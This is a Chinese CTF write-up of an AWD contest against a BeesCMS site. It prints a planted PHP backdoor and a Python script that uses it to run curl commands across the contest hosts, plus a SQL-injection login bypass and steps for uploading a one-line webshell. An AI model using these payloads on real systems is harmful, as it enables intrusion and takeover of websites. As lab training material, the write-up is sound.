前言
目前还不会临场搓脚本,于是每轮都是手动打的555
最终取得了T1组的第11名
模板是beescms,这里参考了这篇文章
虽然自己手打的时候就是一招文件上传打过去的_(:з」∠)_
总之挺好玩的,にひひ
加固阶段
先下载/app或者/var/www/html的源码到本地
tar -czvf source_code.tar.gz .
然后把文件扔d盾查杀一下
删除掉两个带有phpinfo的php文件
然后看看/includes/config.php
<?php
echo 'hello world';
extract($_REQUEST);
@$d($_POST[c]);
?>
要修很简单,直接删掉最下面的命令执行代码
然后参考相关漏洞利用的文章来加过滤
修改/admin/admin_file_upload.php
$type_file=empty($_sys['web_upload_file'])?"zip|gz|rar|iso|doc|xsl|ppt|wps|swf|mpg|mp3|rm|rmvb|wmv|wma|wav|mid|mov":$_sys['web_upload_file'];
$type_file = str_replace("php", "", $type_file); // 将不允许上传的php后缀从文件类型列表中删除
剩下的没时间修也不怎么会修555
攻击阶段
命令执行
草,铸币了,我都把config.php修了不就意味着这个也是一个可利用的漏洞(虽然有点经验的一般都会把这个洞修掉)
而且利用方式简单,容易写脚本一次性收割
这是我赛后写的脚本,应该可行
import requests
import re
import json
import time
def shell(url):
att_url = url + "/config.php?d=system"
try:
data = {
"c":'curl http://flagserver/flag?token=NSS_BQQGJR'
}
res = requests.post(att_url, data)
flag = re.findall('"code":0', res.text)
return flag
except:
print(f"[-]Failed! shell_exp Box: {url}")
return 0
url1 = 'ugsqrv1847-'
url2 = '.ecs142.awd.nssctf.cn'
for i in range(1,33):
attack_url = url1 + str(i)+url2
if isinstance(shell(attack_url), str):
shell(attack_url)
else:
continue
print("********************第 " + str(i) + " 次flag提交结束**************************")
time.sleep(600)
进后台
这里采用sql注入进后台的方式
访问/admin登录页面
手动输入验证码然后抓包进行伪造登录
伪造登录
user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456
(后面的验证码部分别动)
验证码
这里是群里的师傅给出的方法
然后就会302重定向,burp这里需要跟随重定向
文件上传
在网站设置中找到系统设置,添加可上传的后缀类型|php
然后访问/admin/admin_file_upload.php来到上传界面
传一句话木马,然后访问并传参
pass=system("curl http://flagserver/flag?token=NSS_BQQGJR");
返回{"code":0,"msg":"\u6210\u529f\u653b\u51fb\u3002"}
,攻击成功
其他
其他的攻击手段回头再看看
防御
这里我只会在/app/upload里面删马,虽然好像上马的瞬间应该就被攻下来了。。。